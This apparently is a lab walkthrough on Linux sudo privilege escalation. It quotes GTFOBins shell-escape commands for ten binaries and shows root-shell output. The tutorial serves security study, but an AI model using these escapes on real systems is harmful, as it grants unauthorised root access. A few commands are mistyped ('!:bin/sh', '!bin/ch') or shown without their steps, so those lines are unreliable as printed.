

Linux Privilege Escalation - Shell Escape Sequences

PRIVILEGE ESCALATION

Even if we are restricted to running certain programs via sudo, the program can sometimes "escape" and spawn a shell. Since the initial program runs with root privileges, the spawned shell does likewise. In this blog, we will be discussing some programs that can be used to gain root shell access in the target machine.

First, we need to list down the programs which sudo allows our user to run:

```
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
  env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:
  (root) NOPASSWD: /usr/sbin/iftop
  (root) NOPASSWD: /usr/bin/find
  (root) NOPASSWD: /usr/bin/nano
  (root) NOPASSWD: /usr/bin/ls
```

```
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
(root) NOPASSWD: /usr/bin/less
(root) NOPASSWD: /usr/bin/ftp
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/sbin/apache2
(root) NOPASSWD: /bin/more
user@debian:~$
```

Then we will be searching for shell escape sequences of each programs in this website:

<https://gtfobins.github.io/>

GTFOBins

☆ Star 2,850

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

The project collects legitimate functions of Unix binaries that can be abused to get the ~~fuck~~ break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. See the full list of [functions](#).

This was inspired by the [LOLBAS](#) project for Windows.

GTFOBins is a [collaborative](#) project created by [Emilio Pinna](#) and [Andrea Cardaci](#) where everyone can [contribute](#) with additional binaries and techniques.

Iftop

iftop is a program that display bandwidth usage on an interface by host.

<https://gtfobins.github.io/gtfobins/iftop/>

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on `sudo`.

```
sudo iftop
!/bin/sh
```

iftop requires sudo privilege to capture on some device. For the sake of this demonstration, iftop has a sudo privilege as what you've seen in the result of

sudo -l command.

We can perform the commands mentioned under the Sudo section in the page.

1. Run **sudo /usr/sbin/iftop**
2. iftop will run
3. Type **!/bin/bash** and hit enter

```
user@debian:~$ sudo /usr/sbin/iftop
interface: eth0
IP address is: 10.10.180.148
MAC address is: 02:eb:bb:79:23:06
root@debian:/home/user# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/user#
```

Find

find is a program that searches for files in a directory hierarchy.

<https://gtfobins.github.io/gtfobins/find/>

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on `sudo`.

```
sudo find . -exec /bin/sh \; -quit
```

Simply run **sudo /usr/bin/find . -exec /bin/bash ; -quit**

and you'll get root shell.

```
user@debian:~$ sudo /usr/bin/find . -exec /bin/bash \; -quit
root@debian:/home/user#
```

Nano

nano is a small, free and friendly editor.

<https://gtfobins.github.io/gtfobins/nano/>

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on `sudo`.

```
sudo nano
^R^X
reset; sh 1>&0 2>&0
```

Steps to get root shell:

1. Run **sudo /usr/bin/nano**
2. Press **Ctrl + R** then **Ctrl + X**
3. Type **reset; bash 1>&0 2>&0**

```
root@debian:/home/user# root
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/user#
```

Vim

Vim is a text editor that is upwards compatible to Vi.

<https://gtfobins.github.io/gtfobins/vim/>

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on `sudo`.

(a) `sudo vim -c '!:bin/sh'`

(b) This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.

```
sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
```

(c) This requires that `vim` is compiled with Lua support.

```
sudo vim -c ':lua os.execute("reset; exec sh")'
```

Vim has three (3) ways to shell escape to root. I decided to use the first one because sh and bash are always installed by default while python and lua are not.

```
user@debian:~$ sudo vim -c '!:bin/bash'

root@debian:/home/user# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/user#
```

Man

Man is an interface to the on-line reference manuals.

<https://gtfobins.github.io/gtfobins/man/>

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on `sudo`.

```
sudo man man
!bin/ch
```

Follow the commands and you'll easily get a root shell.

```
user@debian:~$ sudo /usr/bin/man man
root@debian:/usr/share/man# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
root@debian:/usr/share/man#
```

Awk

Awk is a pattern scanning and text processing language.

<https://gtfobins.github.io/gtfobins/awk/>

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on `sudo`.

```
sudo awk 'BEGIN {system("/bin/sh")}'
```

Follow the commands and you'll easily get a root shell.

```
user@debian:~$ sudo awk 'BEGIN {system("/bin/bash")}'
root@debian:/home/user# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/user#
```

Less

Less is the opposite of more (LOL!)

<https://gtfobins.github.io/gtfobins/less/>

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on `sudo`.

```
sudo less /etc/profile  
!/bin/sh
```

Follow the commands and you'll easily get a root shell.

```
user@debian:~$ sudo /usr/bin/less /etc/profile  
root@debian:/home/user# whoami && id  
root  
uid=0(root) gid=0(root) groups=0(root)  
root@debian:/home/user#
```

FTP

FTP is an internet file transfer program.

<https://gtfobins.github.io/gtfobins/ftp/>

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on `sudo`.

```
sudo ftp  
!/bin/sh
```

Follow the commands and you'll easily get a root shell.

```
user@debian:~$ sudo /usr/bin/ftp
ftp> !/bin/bash
root@debian:/home/user# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/user#
```

NMAP

NMAP is a network exploration tool and security / port scanner.

<https://gtfobins.github.io/gtfobins/nmap/>

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on `sudo`.

- (a) Input echo is disabled.

```
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
```

- (b) The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands.

```
sudo nmap --interactive
nmap> !sh
```

We'll be trying to perform the two (2) given examples.

```
user@debian:~$ TF=$(mktemp)
user@debian:~$ echo 'os.execute("/bin/bash")' > $TF
user@debian:~$ sudo nmap --script=$TF

Starting Nmap 5.00 ( http://nmap.org ) at 2020-06-10 02:18 EDT
NSE: Warning: Loading '/tmp/tmp.qpij1dxzKS' -- the recommended file extension is '.nse'.
root@debian:/home/user# whoami && id
root
```

```
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/user#
```

```
user@debian:~$ sudo nmap --interactive

Starting Nmap V. 5.00 ( http://nmap.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !bash
root@debian:/home/user# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/user#
```

More

More is a file perusal filter for crt viewing and the opposite of less (LOL!)

<https://gtfobins.github.io/gtfobins/more/>

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on `sudo`.

```
TERM= sudo -E more /etc/profile
!/bin/sh
```

Follow the commands and you'll easily get a root shell.

```
user@debian:~$ TERM= sudo -E more /etc/profile
sudo: sorry, you are not allowed to preserve the environment
user@debian:~$ TERM= sudo more /etc/profile
# /etc/profile: system-wide .profile file for the Bourne shell (sh(1))
# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).

if [ "`id -u`" -eq 0 ]; then
    PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
else
    PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"
fi
export PATH

if [ "$PS1" ]; then
    if [ "$BASH" ]; then
        # The file bash.bashrc already sets the default PS1.
        # PS1='\h:\w\$ '
    fi
fi
```

```
if [ -f /etc/bash.bashrc ]; then
    . /etc/bash.bashrc
fi
else
    if [ "`id -u`" -eq 0 ]; then
        PS1='# '
    else
        PS1='$ '
    fi
fi
!/bin/bash
root@debian:/home/user# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/user#
```

As you can see, the -E option of sudo is preventing us to execute our shell escape sequence. Using -E option means that all the environment variables for the user deploy should be preserved.
